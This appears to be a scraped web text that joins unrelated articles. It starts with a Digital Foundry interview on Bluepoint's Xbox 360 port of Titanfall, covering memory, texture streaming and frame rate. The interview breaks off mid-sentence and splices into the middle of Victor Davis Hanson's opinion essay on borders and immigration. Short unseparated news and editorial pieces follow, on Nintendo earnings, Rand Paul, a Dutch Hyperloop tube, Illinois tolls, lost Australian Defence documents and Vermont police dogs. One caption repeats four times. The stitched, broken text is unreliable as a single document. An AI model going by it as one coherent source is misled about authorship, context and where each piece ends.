While the Xbox 360 version of Titanfall doesn't quite match the performance level of the Xbox One version, it often gets close and in this Battle of Demeter stress test, Bluepoint's optimisation techniques actually produce a higher level of performance than the next-gen version. Digital Foundry: To be clear, you're not working with the Source renderer here are you? Andy O'Neil: So, the Source Engine is around 10-12 years old or something like that, and has had a lot of changes made to it over the years, so you can't just throw it all out and start again from scratch with the expectation that you'll rewrite the entire thing along with perfect copy of game in 14 months! We started to figure out how hard this was going to be the first time we got the game running on the 360; with a single player, our average frame-rate in Fracture was around 5fps, and that's without any textures. That's an, 'Oh bugger, what have we got ourselves into?' situation that you're not going to fix by giving the engine a bit of a tickle. Long story short, we've replaced the world renderer, collision system, visibility system, animation system, asset system, asset pipeline, audio system, stuffed in a streaming system and compressed the crap out of the assets to make it fit on a DVD. Yeah, we're not running the vanilla Source renderer [laughs]. We basically ended up with a crazy Frankenengine by the time we shipped. Digital Foundry: To what extent was it difficult to integrate a game running on another engine into your tech? "You need to keep the gameplay of the original intact, so you make the minimum number of surgical changes to the existing code to make it work well on another platform." Andy O'Neil: Actually, it's kinda the other way around. You're basically integrating your tech into someone else's game. You need to keep the gameplay of the original intact, so you make the minimum number of surgical changes to the existing code to make it work well on another platform. In this case though, I'd say the changes were less surgical and a bit more like wholesale amputation [laughs]. Digital Foundry: Factoring in the Respawn changes too, is there much left of Source at all? Andy O'Neil: Source is such a big codebase, and a large amount of the code is dedicated to game logic and entity systems, so the bulk of the compiled code would still be considered part of the Source Engine. That's kinda important because these systems include all the fun bits from Respawn that everyone plays! Digital Foundry: RAM management must have been interesting. Effectively, Respawn had 10x the available memory than you did on Xbox 360. How did you go about downsizing Titanfall to work on 360 without impacting too heavily on the experience? Andy O'Neil: I'd say that fitting everything in memory was the hardest problem we faced getting Titanfall running on X360. We started off by putting Source on a diet, stripping things out like the local server, moving away from the DLL system so dead code stripping would work, etc. That brought down the fixed overhead and allowed us to get the game running. But as soon as we started loading assets we were still struggling to get it in memory on a 1GB devkit with minimal textures and no sound. We knew that if we started changing the core assets too much, we'd be in real trouble towards the end of development. Generally, code and asset changes tend to accelerate towards ship, so we'd have been stuck with trying to redo work at the last minute. We also didn't want to compromise on quality, so it seemed like a no-brainer to focus on making the existing assets fit somehow instead of chopping them to bits. So normally, a really large amount of the memory budget on a game is taken up by textures, which it was, but we also found that animation and other systems data were surprisingly large. I could bang on about engineers battling decade-old animation systems, tech art trying to figure out if this 4MB animation really was used anywhere the game, and many, many spreadsheets from our awesome QA and production team, but suffice to say, a lot of really talented people worked really hard to make this fit. Top and bottom of it, Respawn were pushing the Source Engine to its limits, and we just had to make it fit. It doesn't matter how pretty the game looks on a devkit or all the clever algos you came up with to make it run fast, you've got a hard limit on memory and you can't ship it if it doesn't boot on a retail console.
A three-way comparison showing the Xbox 360 version of Titanfall - running at 1040x600 with 2x MSAA - up against the 1408x792 Xbox One version and the PC game operating at native 1080p. A three-way comparison showing the Xbox 360 version of Titanfall - running at 1040x600 with 2x MSAA - up against the 1408x792 Xbox One version and the PC game operating at native 1080p. A three-way comparison showing the Xbox 360 version of Titanfall - running at 1040x600 with 2x MSAA - up against the 1408x792 Xbox One version and the PC game operating at native 1080p. A three-way comparison showing the Xbox 360 version of Titanfall - running at 1040x600 with 2x MSAA - up against the 1408x792 Xbox One version and the PC game operating at native 1080p. Digital Foundry: Six available Xbox One CPU cores seems like a nice enough fit with six hardware threads on Xbox 360 (and indeed six available SPUs on PS3). Were the threading principles used on Xbox One Titanfall a good match for the 360? Andy O'Neil: Good question! The Source Engine was written back in the days before dual-core CPUs were mainstream and was refitted later by Valve to support multi-threading. Respawn made a lot more additional changes to take advantage the extra CPUs in the Xbox One, but our three PowerPC cores aren't exactly a 1:1 match for the CPUs in the Xbox One. The other problem is that threading is inherently difficult, and even if you get some massive wins, you're still going to run into Amdahl's Law. This is a fancy way of saying that you're only as fast as the slowest task in the system, or putting it another way, that bloody single-threaded raycast across the map is going to cause you to drop to 20fps no matter how much you thread the engine. We ended up with a dual approach for optimisation: remove fixed CPU overhead to boost the overall performance, and find stuff that causes CPU spikes to raise the lower end. Surprisingly, while we did get some good benefit from the threading in the Xbox One version, most of our gains came from reducing cache misses, a pretty typical weak spot on the Xbox 360 and PS3. Digital Foundry: To what extent is the game logic a match with the Xbox One version? Andy O'Neil: It's the same. Well, actually, we did cheat a bit. When you play Last Titan Standing, which is crazy stress on the CPU, we dial down some of the grunt spawn in rates to reduce network packet processing and entity simulation load on the client. We only do this for LTS, because when you've got 12 giant robots bashing the crap out of each other, you tend not to notice the absence of things to squish underfoot. All the other changes are cosmetic or optimisation-related, such as reducing the number of client-side flyers in Boneyard and Airbase, and switching out the, 'Can I see that guy on the other side of the map so I can draw his name?' deferred raycasts with GPU visibility queries. Digital Foundry: Texture-streaming was a notable omission on PC and Xbox One. Respawn wanted all the graphics available all the time. How do you get the best possible experience on Xbox 360 bearing in mind that this extreme approach wasn't available to you? Andy O'Neil: Yeah, that an interesting one, though I wouldn't call it extreme, because that's exactly what we would do if we had gobs of memory! Anyway, you can't really compress textures much beyond DXT1 in memory and still have them immediately usable by the GPU. There are a few tricks you can do with assets that are really memory-hungry - we used the old vertex colour trick to reduce the memory footprint of the skyboxes - but aside from a few tricks, you can't dial texture quality up and down like a JPEG email attachment. So, there something like 600 materials and 2000-odd textures in the Fracture map alone. That's a lot of material variation, and one of things that I think sets Titanfall apart from other games. It's also a real nightmare on Xbox 360 due to GPU memory alignment restrictions etc. We've got enough memory, including fixed overhead for UI and dynamic model textures, for 64x64 resolution DXT1 on the Xbox 360 with all those materials. That's N64 quality, and that's really going to be problem. So, to keep the texture quality up, and to squeeze something like 1GB of DXT1/5 textures into an 80MB RAM cache, we stream the textures in dynamically on top of super low res version. So, in a single-player game, say like Metroid Prime, you enter a new area or elevator or something, and you quietly stream the new textures in, and 'bing', the door opens when they've finished loading. Getting this working for Titanfall multiplayer was a bit trickier; the maps are massive, there's loads of interior detail and tunnels, and the player can double jump and run like crazy. Not to mention those giant robots again, and, 'Eject! EJECT!' etc... You get the idea. So we have to be able to load these high-res textures into a 'tiny' cache, really fast. Basically, we're always streaming like crazy, and to get the best streaming performance we stream from the HDD and DVD at the same time. We also stream UI textures and audio, and keeping everything prioritised correctly while still avoiding the overhead of seeks is pretty tricky. For the technically minded, we stream medium-resolution textures from the HDD, which has the best seek time and can load textures quickly. The top texture mips are streamed from the DVD with some additional compression for throughput. Also, having the top mips on the DVD avoids us having to copy them to the cache partition, which is good because we're pretty tight on space there! This is why there's no Games on Demand download available as we didn't want fob people off with an inferior experience. Similar deal for 4GB Arcade kits and USB sticks, flash devices have much better seek times than a DVD, but the throughput is lower. For lot of games, the seek time dominates loading, but on Titanfall 360, we worked really hard to optimise loading for DVD/HDD, and running off flash just didn't give the same performance. So, we copy the texture-streaming data to the Xbox 360 cache partition, which is located on the fastest, outside part of the drive. I'm pretty sure this is what Halo is doing when it's showing the pretty particle effects before you start a new level. Also, using the cache partition guarantees that the installed files aren't fragmented, giving really consistent streaming performance. I tested it at home on an original 20GB HDD that I've had since 2005 and never re-formatted, it works great! I think people are used to installing games because generally they load faster from HDD, but in our case it just increases load times and degrades streaming performance.
"For lot of games, the seek time dominates loading, but on Titanfall 360, we worked really hard to optimise loading for DVD/HDD, and running off flash just didn't give the same performance." Frame-rate tests reveal that the 360 version averages out well above 30fps. It's 46.5fps in this collection of clips. The judder and tearing aren't pleasant but the low latency controls clearly benefit from this decision. Digital Foundry: Rendering-wise, you're at 1040x600 with 2x MSAA - how did you choose that particular frame-buffer set-up? Andy O'Neil: It's a bit of a no-brainer really, you've got a limited amount of eDRAM, 10MB, and the Xbox 360 does MSAA for free if you can fit your render targets within that 10MB limit. The maximum resolution render target for 2xMSAA is around 1040x1200 which, with the tiling restrictions, uses about 95 percent of the 360 eDRAM. This gets resolved to the 1040x600 that you see upscaled to 720p on your TV. Digital Foundry: Xbox One Titanfall is particle-heavy, and you've produced your own solution. Can you talk us through that? Andy O'Neil: Actually, no we didn't. We did make some performance tweaks to the particle code to optimise for Xbox 360 write-combined caches and tweaked the threading a bit, but the core code is pretty much the same as Respawn. We also tuned some of the effects for performance; Respawn really helped us out here by reworking a lot of the particle assets to perform better on the 360. Thanks Robot! Digital Foundry: Respawn was really heavy with alpha on Xbox One - smoke, fire, atmospherics. It's pretty heavy on performance but an essential part of the game's make-up. How did you handle it? Andy O'Neil: Actually, that's another advantage of the X360 eDRAM and the lower resolution buffer. We did tweak the particle shaders slightly for performance, but the X360 has some pretty tasty fill at something like 4Gpix/s. Gives us a decent amount of screen fills to handle effects overdraw at our'more than 540p' resolution [laughs]. Digital Foundry: Did you come up with your own solution for handling light and shadow? Andy O'Neil: Well, we couldn't afford the same dynamic shadows as the Xbox One version, as we'd have to render the scene again from the viewpoint of the shadowcaster; there's a lot of geometry in those maps! Fracture has something like 22 million triangles for static level geometry. We had the VRAD-baked lighting for static geometry that was used for objects in the distance on the Xbox One, but the baked occlusion was pretty low-res and we needed more fine detail otherwise the shadows would have been really blurry. I don't know if I've mentioned this already, but we didn't have any memory [laughs], so we couldn't just increase the resolution of the occlusion textures. Instead, we used an offline renderer, Mental Ray, to create super high-res shadow maps from the map data, something like 16,000 pixels width and height. We converted these high super-high shadow maps to distance fields, and voila, shadows that still look sharp at a much lower memory cost. Digital Foundry: Can you talk us through the decision to include two frame-rate options in Titanfall 360? Andy O'Neil: We'd set a 30fps cap for large scale test, and it had'stuck' due to concerns about tearing with a variable frame-rate. While we were working on the day-one patch, we snuck in a 60Hz on/off option and didn't tell anyone about it. It didn't take Respawn very long to find it, and they much preferred the feel of the unlocked frame-rate like we did. EA found out about it a bit later [laughs]. There's also part of this that's kind of a statement of intent, because if you lock the frame-rate at 30 for too long during development for demos or stability etc, 30fps becomes the expectation and you'll never ever hit 60. Later, we did a poll across Bluepoint, Respawn, and EA-QA and small but significant group preferred the frame-rate locked at 30fps, so we left the option in but changed it to 30Hz, defaulted to off.
"We did a poll across Bluepoint, Respawn, and EA-QA and small but significant group preferred the frame-rate locked at 30fps, so we left the option in but changed it to 30Hz, defaulted to off." Titanfall on Xbox One brute-forces its massive pool of RAM, with around 3GB dedicated to textures alone. Bluepoint introduced a texture-streaming system for the Xbox 360 game, using hard drive and DVD bandwidth in parallel to bring assets into RAM as they are needed. Digital Foundry: You opt to run unlocked as the default. Is it fair to say that low input lag is the priority? Andy O'Neil: Absolutely! We'd much rather be running at a frame-locked 60, but we're high enough above 30fps that the improvement in the feel of the controls when the frame-rate is unlocked outweighs the downside of seeing ugly videos on YouTube. Two words, Nyquist frequency! Digital Foundry: Adding a feature like a frame-rate limit is pretty straightforward from a coding perspective, but does it add any complexity to the production as a whole - in terms of QA, for example? Andy O'Neil: No, not really at all, though we did manage to get the option backwards at one point I think! The server is authoritative, and the client really only performs prediction/interpolation, so you're unlikely to get the kind of problems you might see if all the logic was running locally with inconsistent time steps, such as your physics solver having a meltdown. Digital Foundry: Your overall performance level in the unlocked mode isn't a million miles away from Xbox One - what's your approach to optimisation and getting frame-rate as high as possible on Xbox 360? Andy O'Neil: A lot of the big wins for the GPU came from looking at performance from a very high level. This sounds obvious, but the fastest pixels are the ones you never draw, so we found ways to not draw stuff if you couldn't see it. The Source Engine already has a PVS system, but it's BSP-based and didn't work very well with the kind of maps used for Titanfall. Respawn wrote a new PVS system that worked dynamically, likely because that's much better for iteration but it need additional CPU performance we haven't got on Xbox 360. We took a different approach and pre-calculated static visibility using a big farm of Xbox 360s; these ran multi-hour visibility calculations which reduced the amount of stuff the 360 had to draw without requiring runtime computation and allowed us to use mostly the same geometry as the Xbox One version. Same deal for shadows, pre-calculate. Also creating occlusion geometry to reduce pixels shaded, tech art to the rescue there getting those built! For the CPU, it's a bit trickier as there's lot of code. We got some good CPU gains by using the GPU for culling and LOD calculations instead of using the CPU. Then we moved onto more traditional optimisations, such as finding code that is obviously slow and speeding it up, eg rewrite the animation system in VMX. Once you've optimised things that are obviously slow, it gets a bit trickier, as most of the time nowadays, poor CPU performance is death by a thousand papercuts. The real story is that it runs well because of loads of hard work by the team. Basically a talented group of guys and girls working really hard. Digital Foundry: What about the Azure hook-up - it looks like you're using the cloud in the same way as the Xbox One and PC versions? Andy O'Neil: Yep, exact same as Xbox One/PC, aside from some minor back-end changes for encryption, and those grunts we spared from an unpleasant death in Last Titan Standing mode. Digital Foundry: Grunt NPC AI is taken care of by the server. To what extent does that free up local CPU resources? Does that make more of a difference on Xbox 360, where you have less CPU available compared to PC and Xbox One? Andy O'Neil: I'm not a network programmer so take all of this with a pinch of salt. So, it does help quite a bit, though we're mostly CPU-limited and even the overhead of packet processing and simulation is a hit on Xbox 360. I think the big deal with having a dedicated server is that you wouldn't even try to make this game using a standard peer-to-peer model, at least on console. The server performance requirements for Titanfall are pretty high, so you can't run peer-to-peer. This also means you can't have a many virtual machines per physical server, meaning if you've got a popular game, then you're going to need a pretty big investment in server hardware. So, this is kinda hard to explain in a 'the power of the cloud' soundbite, but using Thunderhead actually makes a lot of sense as it allows pooled resources to spin up and down for a given title rather than having to figure out some way to get some ungodly amount of servers for a day one launch player spike. I think you'll see more interesting multiplayer games because of this but it'll take a while.
"The server performance requirements for Titanfall are pretty high, so you can't run peer-to-peer. This also means you can't have a many virtual machines per physical server, meaning if you've got a popular game, then you're going to need a pretty big investment in server hardware." Titanfall on Xbox 360 as it was originally going to ship - with a 30fps cap and adaptive v-sync. Bluepoint turned off the frame-rate limiter and found that the game ran fast enough to fundamentally improve controller response, producing an experience closer to the Xbox One version. Digital Foundry: Logistically, how do you work on a port of a game that's still being coded and is being produced in an entirely different studio? Andy O'Neil: It's difficult, like trying to change the transmission on car while it's still moving. We share code via Perforce, but we work in a different code branch. The hard part is to add features for Xbox 360 without breaking the PC or Xbox One version and we do this by a process called integration, where we work on a known stable code for 2-4 weeks then bring new changes over from the main Respawn branch. We had a good bit of practice working like this with Superbot on PlayStation All-Stars Battle Royale for PS Vita. Respawn basically trusted us to get on with it, and I think it worked out well for both teams. Luckily for us we weren't doing cross-platform multiplayer on Titanfall; that would have been really difficult! The other part is the general production kinda stuff you get on large projects, scheduling, conference calls, bug databases, lots of email! And general production stuff is hard! Generally doing production is a pretty thankless task as the best producers make problems invisible to the rest of the dev team. A lot of the time devs only hear about what's busted, wonder why we're getting dinner from that restaurant again, and don't get hear about all the problems headed off at the pass. Production on both ends did an awesome job. I like to point out that our production team was better though because they also bought everyone ice-cream on Saturdays [laughs]. Digital Foundry: Does Respawn's crunch effectively become your crunch? Andy O'Neil: So, the number of code and content changes always accelerates towards the end of the project, and we're downstream from Respawn and obviously need to bring those bugfixes and tweaks over to the Xbox 360 version. We did some frontloading of work knowing |
en Area agreements, which give free rights of movement within Europe. The European masses are not racists, but they now apparently wish to accept Middle Eastern immigrants only to the degree that these newcomers arrive legally and promise to become European in values and outlook—protocols that the EU essentially discarded decades ago as intolerant. Europeans are relearning that the continent’s external borders mark off very different approaches to culture and society from what prevails in North Africa or the Middle East.
The truth is that formal borders do not create difference — they reflect it. Elites’ continued attempts to erase borders are both futile and destructive.
A similar crisis plays out in the United States, where President Obama has renounced his former opposition to amnesty by executive order. The populist pushback against unchecked immigration from Mexico, Central and South America gave rise to the presidential candidacy of Donald Trump—predicated on the candidate’s promise to build an impenetrable border wall—much as the cascade of asylum-seekers into Germany has fueled opposition to Chancellor Angela Merkel.
Driving the growing outrage in Europe and North America is the ongoing elite push for a borderless world. Among elites, borderlessness has taken its place among the politically correct positions of our age — and, as with other such ideas, it has shaped the language we use. The descriptive term “illegal alien” gave way to the nebulous “unlawful immigrant,” then “undocumented immigrant,” “immigrant,” or the entirely neutral “migrant” — a noun that obscures whether the individual in question is entering or leaving.
Today’s open-borders agenda has its roots not only in economic and political factors — the need for low-wage workers who will do the work that native-born Americans or Europeans supposedly will not, and the desire to flee failed states — but also in several decades of intellectual ferment, in which Western academics have created a trendy field of “borders discourse.” What we might call post-borderism argues that boundaries are mere artificial constructs, methods of marginalization designed by those in power, mostly to stigmatize and oppress the “other” — usually the poorer and less Western — who arbitrarily ended up on the wrong side of the divide.
“Where borders are drawn, power is exercised,” as one European scholar put it. This view assumes that where borders are not drawn, power is not exercised — as if the Middle Eastern immigrants pouring into Germany do not wield considerable power by their sheer numbers and adroit manipulation of Western grievance politics.
Dreams of a borderless world are not new, however. Plutarch claimed in his essay “On Exile” that Socrates considered himself not just an Athenian but instead “a citizen of the cosmos.” In later European thought, Communist ideas of universal labor solidarity drew heavily on the idea of a world without borders. “Workers of the world, unite!” exhorted Marx and Engels. Wars broke out, in this thinking, only because of needless quarreling over obsolete state boundaries.
The solution to endless war, some argued, was to eliminate borders in favor of transnational governance. H. G. Wells’ prewar science-fiction novel “The Shape of Things to Come” envisioned borders eventually disappearing as transnational polymaths enforced enlightened world governance. Such fictions prompt fads in the real world, though attempts to render borders unimportant — as, in Wells’ time, the League of Nations sought to do — have always failed. Undaunted, the Left continues to cherish the vision of a borderless world as morally superior, a triumph over artificially imposed difference.
Yet the truth is that formal borders do not create difference — they reflect it. Elites’ continued attempts to erase borders are both futile and destructive.
Borders — and the fights to keep or change them — are as old as agricultural civilization. In ancient Greece, most wars broke out over border scrubland. The contested upland eschatia offered little profit for farming but possessed enormous symbolic value for a city-state to define where its own culture began and ended.
Throughout history, the trigger points of war have traditionally been such borderlands — the methoria between Argos and Sparta, the Rhine and Danube as the frontiers of Rome, or the Alsace-Lorraine powder keg between France and Germany. These disputes did not always arise, at least at first, as efforts to invade and conquer a neighbor. They were instead mutual expressions of distinct societies that valued clear-cut borders — not just as matters of economic necessity or military security but also as a means of ensuring that one society could go about its unique business without the interference and hectoring of its neighbors.
Few escape petty hypocrisy when preaching the universal gospel of borderlessness. In 2011, open-borders advocate Antonio Villaraigosa became the first mayor in Los Angeles history to build a wall around the official mayoral residence. His un-walled neighbors objected, first, that there was no need for such a barricade and, second, that it violated a city ordinance prohibiting residential walls higher than four feet. But Villaraigosa apparently wished to emphasize the difference between his home and the street, or was worried about security, or saw a new wall as iconic of his exalted office.
Those who deride borders are unwilling to address why [people choose to cross them], leaving their language fluency and native soil — at great personal risk.
While elites can build walls to insulate themselves, the consequences of their policies fall heavily on the nonelites who lack the money and influence to navigate around them. The contrast between the two groups — Peggy Noonan described them as the “protected” and the “unprotected” — was dramatized in the presidential campaign of Jeb Bush. When the former Florida governor called illegal immigration from Mexico “an act of love,” his candidacy was doomed. It seemed that Bush had the capital to pick and choose how the consequences of his ideas fell upon himself and his family — in a way impossible for most of those living in the southwestern United States.
More broadly, those who deride borders are unwilling to address why tens of millions of people choose to cross them in the first place, leaving their language fluency and native soil — at great personal risk. The answer is obvious: migration, as it was in the 1960s between mainland China and Hong Kong, as it is now between North and South Korea, is usually a one-way street, from the non-West to the West or its Westernized manifestations. People walk, climb, swim, and fly across borders, secure in the knowledge that boundaries mark different approaches to human experience, with one side perceived as more successful or inviting than the other.
Western rules that promote a greater likelihood of consensual government, religious tolerance, an independent judiciary, free-market capitalism, and the protection of private property combine to offer the individual a level of prosperity and personal security rarely enjoyed at home. As a result, migrants make the necessary travel adjustments to go westward — especially given that Western civilization, uniquely so, has usually defined itself by culture, not race, and thus alone is willing to accept and integrate those of different races who wish to share its protocols.
Many unassimilated Muslims in the West assume that they can ignore Western jurisprudence and yet rely on it in extremis. Today’s Pakistani new arrival in London might wish to follow sharia law as he knew it in Punjab. But implicit are two unmentionable constants: The migrant most certainly does not wish to return to face sharia law in Pakistan. Second, if he had his way, institutionalizing his native culture into that of his newly adopted land, he would eventually flee the results — and once again likely go somewhere else, for the same reasons that he left home in the first place.
Borders amplify the innate human desire to own and protect property and physical space, which is impossible to do unless it is seen — and can be so understood — as distinct and separate.
Similarly, when undocumented Latino youths disrupt a Donald Trump rally, they often wave Mexican flags or flash placards bearing slogans such as “Make America Mexico Again.” But note the emotional paradox: In anger at possible deportation, non-citizens nonsensically wave the flag of the country that they most certainly do not wish to rejoin, while ignoring the flag of the nation in which they adamantly wish to remain.
Borders are to distinct countries what fences are to neighbors: means of demarcating that something on one side is different from what lies on the other side. Borders amplify the innate human desire to own and protect property and physical space, which is impossible to do unless it is seen — and can be so understood — as distinct and separate. Clearly delineated borders and their enforcement, either by walls and fences or by security patrols, won’t go away because they go to the heart of the human condition — what jurists from Rome to the Scottish Enlightenment called meum et tuum, mine and yours. Between friends, unfenced borders enhance friendship; among the unfriendly, when fortified, they help keep the peace.
This piece originally appeared in the Los Angeles Times, adapted from Summer 2016 Issue of City Journal
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Victor Davis Hanson is a senior fellow at the Hoover Institution and a contributing editor at City Journal.Nintendo’s second big smartphone game, Fire Emblem: Heroes, comes out on Thursday, but you’ll have to wait a little longer than expected for the third. While the presently untitled mobile version of Animal Crossing was pegged for a release sometime this financial year, Nintendo now says it won’t arrive until the next, meaning between April 2017 and the end of March 2018.
Nintendo announced the news alongside its third-quarter earnings, in which it reported net profit of 64.7 billion yen (about $569 million) off the back of 174.3 billion yen ($1.5 billion) in revenue. Pokémon Sun and Moon were the biggest sales drivers, moving nearly 15 million units, while Super Mario Maker for Nintendo 3DS sold over two million copies. Super Mario Run for iOS was otherwise the most notable release for Nintendo in the quarter, but the company isn’t saying how many of the tens of millions of people who downloaded the game in its first week paid the $9.99 for the full version.
The Wii U is as dead as you’d expect considering the impending launch of the Switch — it sold just 760,000 units, by far the worst holiday season in the system’s history. Next quarter’s results, however, will be very interesting for Nintendo fans and investors following the Switch’s worldwide release on March 3rd.Paul has become just another candidate back in the pack, waiting for his inevitable exit. (Tom Williams/CQ Roll Call File Photo)
I never expected Kentucky GOP Sen. Rand Paul would win his party’s nomination for president, but I did expect he would be a factor in the race. So far, he hasn’t been one. (See my February column on his foreign policy challenges here.)
While Paul’s father never was a serious contender for the Republican nomination in 2012, former Texas Rep. Ron Paul proved to be a strong fundraiser who was able to compete in low-turnout caucus states where his dedicated supporters showed energy and a deep commitment.
Paul has played the partisan game better than his father, who was the Libertarian nominee for president in 1988 and refused to support the GOP tickets in 2008 and 2012. I assumed that would allow the Kentucky Republican to broaden his appeal. After all, Paul has co-existed with his home-state Republican colleague, Senate Majority Leader Mitch McConnell, and demonstrated more political loyalty to his party than his father ever did.
Unlike Texas Sen. Ted Cruz, who sought to rally tea party conservatives in the House against the GOP House leadership’s efforts to avoid a government shutdown in 2013, Paul has made an effort to behave more constructively.
Paul’s views on foreign policy, defense issues and cultural issues obviously have put him at odds with many in his own party and made it difficult to see the Kentucky senator as the Republican nominee in 2016. But more than a few political observers believed that, even with some issue positions that didn’t fit well within the GOP, Rand Paul would be worth watching.
But after raising only $2.5 million last quarter and participating in two debates (plus a third scheduled for Oct. 28), it’s probably getting close to the time when Paul will leave the GOP presidential contest and refocus the 2016 Kentucky Senate race.
Paul has multiple super PACs supporting his presidential bid, so he isn’t exactly defenseless. But unlike many of the other Republicans running for president this cycle, he has plenty to lose if he fights to the end (like his father did in 2012) and simply comes up short in Cleveland, Ohio, at the Republican National Convention.
Unlike Sen. Marco Rubio, who placed all of his eggs in the presidential basket and chose not to seek re-election at the same time that he was running for president, Paul has left himself two political paths. That shows that the Kentucky senator very much wants to stay in elective office, even if it isn’t the highest elective office in the land.
Paul is a serious, thoughtful man, but he isn’t raising enough money or showing any movement in the polls to suggest that he is a credible contender for his party’s 2016 presidential nomination. He isn’t getting much favorable media attention, and there is little or no buzz about him in Republican circles. He has become just another candidate back in the pack, waiting for his inevitable exit.
Why hasn’t the Kentucky Republican gotten any traction in his White House bid? Paul’s problem may well be that he is neither fish nor fowl. He is something in between.
In trying to reach beyond his father’s libertarian audience and appeal to mainstream Republicans, Paul may have alienated many libertarians, who now see him as a pale copy of his father rather than a new, improved version.
If that is the case, then it is the Kentucky senator’s effort to play the political game and compete for the GOP nomination that has made him less appealing to his father’s audience.
But, according to one savvy conservative operative, Paul’s approach — which has involved relying on voters from groups that traditionally don’t support Republicans — was inherently risky, even flawed.
Ultimately, it depended on the Kentucky Republican attracting younger voters, anti-war activists, pro-immigration supporters, minority voters and other usually Democratic voters to support his candidacy. But those voters could never feel comfortable in the GOP, a conservative political party that is more than a loose coalition of demographic and issue groups.
Since Paul’s foreign policy/national security assumptions and beliefs are so different from those held by most Republicans — and certainly most conservatives — the senator has had a difficult time attracting support from within his own party.
Libertarians may eventually constitute a substantial part of the GOP, but for now they remain a marginalized group within the party. Paul lacked his father’s ideological purity, but he was also unable to broaden his appeal within the Republican Party. Together, those two realities have limited him to the edges of the 2016 presidential race.
Related: Rand Paul Muses About President Rubio Bringing Nuclear War Anti-Establishment Mood Doesn't Stop 'Invisible Primary' Roll Call Race Ratings Map: Ratings for Every House and Senate Race in 2016 Get breaking news alerts and more from Roll Call in your inbox or on your iPhone.DELFT, NETHERLANDS — A Dutch tech startup and a construction company on Thursday unveiled a Hyperloop test facility, a steel tube that will be used to help develop the futuristic high-speed transportation system. It is a first step toward developing the system in the Netherlands, a key European transportation transport hub, and beyond.
Hardt Global Mobility wants to build a longer high-speed facility for testing cornering and lane switching. The Dutch startup then aims to begin construction of a Hyperloop route between two cities within the next four years. ( KOEN VAN WEEL / AFP/GETTY IMAGES ) People look at a hyperloop test facility unveiled by a tech startup and a construction company in Delft, Netherlands.The 30-metre long white steel tube will be used to help develop the futuristic high-speed transportation system. ( Mike Corder / The Associated Press )
“It’s our goal to let it be available for the daily commuter,” said Tim Houter, CEO of Hardt Global Mobility, which is working on the project with construction company BAM. He described the concept as “a sort of on-demand, high-speed transportation system for everyone.” The Hyperloop was first proposed in 2013 by SpaceX and Tesla Motors co-founder Elon Musk to transport “pods” of people through a tube at speeds of roughly 700 m.p.h. (1,126 km/h). A Hyperloop has levitating pods powered by electricity and magnetism that hurtle through low-friction pipes. The new test facility, a 30-metre long, 3.2-meter diameter tube, is at Delft Technical University.
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“So there will be a vehicle inside this tube going back and forth with the levitation system we’re using, the stabilization system we’re using and the safety systems,” he said. Ultimately the startup wants to build a longer high-speed facility for testing cornering and lane switching. Hardt then aims to begin construction of a Hyperloop route between two cities within the next four years.
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Dutch Infrastructure and Environment Minister Melanie Schultz van Haegen said a Hyperloop system could help cement the Netherlands’ position as a gateway to Europe by transporting freight arriving at Rotterdam’s sprawling port. “If you then can move the goods in a fast way to the rest of Europe, this is very important for competition,” she said.
Read more about:If you arrive at the CTA station without your Ventra card, don’t expect the attendant to let you through the turnstile for $2.25. There’s a vending machine right there that dispenses single-ride train tickets for $3. Make that mistake a couple of times and we expect you’ll learn to be more careful about leaving your card in the pocket of yesterday’s jeans.
The Illinois Tollway is much more forgiving. If you leave home without your I-Pass transponder and blow through the open-tolling lane without paying, you won’t get a ticket. You won’t even be charged the cash toll rate, which is twice as much as the I-Pass rate.
A video camera system (or in some cases, an actual human) checks the images snapped of license plates on each car that doesn’t pay, then checks to see if the car is registered to an I-Pass account. If so, the account is dinged for the lower toll, just as if the transponder had been there all along. It shows up on your statement as a v-toll — a friendly reminder to make sure your transponder is working. But there’s no penalty.
Is that a great deal or what? Well, it’s going to end soon. And it should.
By early next year, the Tollway will start charging the cash toll rate to drivers who don’t carry a transponder in their cars. That’s because it costs 23 cents to process a toll transaction using the video system, but only 8 cents with a working transponder.
Since efficiency is what open road tolling is all about, it hardly makes sense to charge the lower I-Pass rate if a vehicle doesn’t have an I-Pass transponder.
This happens because the Tollway allows multiple cars to share a transponder, as long as all the vehicles are registered to the account. The problem arises when Dad drives from Northbrook to O’Hare on the Tri-State while the transponder is in Mom’s car.
No penalty for forgetting to move the transponder means there’s no incentive to remember. But those drivers are costing the Tollway money while being rewarded with lower fares.
The obvious fix would be to require each car to carry a transponder — or pay the price. (See Ventra, above.) But the Tollway still plans to cut drivers a lot of slack. Under the new rules, the cash rate won’t kick in until a car has racked up five v-tolls in a month. The account holder will get an email after the fifth one.
The idea is to encourage I-Pass customers to put a transponder in every vehicle. This is a perfectly reasonable expectation and we frankly wouldn’t be so nice about it if we ran the Tollway. Another transponder requires only a $10 deposit. Customers don’t have to maintain a separate account or a larger balance. They don’t have to remember to move the device from car to car. They don’t have to worry if two drivers need the transponder on the same day.
Shelling out $10 for a transponder is no big deal — especially when it allows you to pay half as much as a driver without one.
Join the discussion on Twitter @Trib_Ed_Board and on Facebook.IN an embarrassing security bungle, Defence has lost 32 secret cabinet documents and has no idea whether they have been misplaced, leaked or destroyed.
Repeated searches for the documents have proved fruitless and the department has vowed to upgrade its tracking systems to prevent any more sensitive documents going missing.
"The inability to account for any cabinet document is of concern to the department," Defence said yesterday in a reply to questions on notice lodged by opposition defence spokesman David Johnston.
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It said a stocktake of 1836 cabinet documents had revealed that 32 documents, or 1.7 per cent, could not be located. These included cabinet minutes, submissions and memorandums.
Defence said it was "likely", but not certain, that most of these documents had been shredded and burnt and that records had not been updated to reflect their destruction.
Senator Johnston said it was unacceptable that such sensitive documents could go missing.
"Minister Stephen Smith has a real problem on his hands with top-level security documents concerned with the defence of Australia either being lost by his office or his department," he said
"Is he going to call for an inquiry, a review or a board of inquiry to track down the lost 32 top-secret documents?"
Defence said it was still searching for the documents "by interrogating records management databases".
The missing documents were all created by the Rudd-Gillard cabinets, from December 2007 to July last year.BARRE, Vt. (AP) -- In an anticipatory move for the possible legalization of marijuana, Vermont police dogs are no longer trained to recognize the drug's smell.
The Times Argus reports this year is the first that the Vermont Police Academy K-9 class had marijuana excluded from their training.
Robert Ryan, the state's head K-9 training coordinator, says officials first discussed the move last year. The Vermont Police Academy trains all state and local K-9s.
Ryan says the decision follows the assumption that Vermont will legalize marijuana, but police can easily train the dogs on the drug's smell later if it isn't ultimately decriminalized.
Montpelier Police Chief Anthony Facos says legalizing marijuana would have financial ramifications, with every law enforcement agency in the state needing new dogs that weren't trained to detect marijuana.
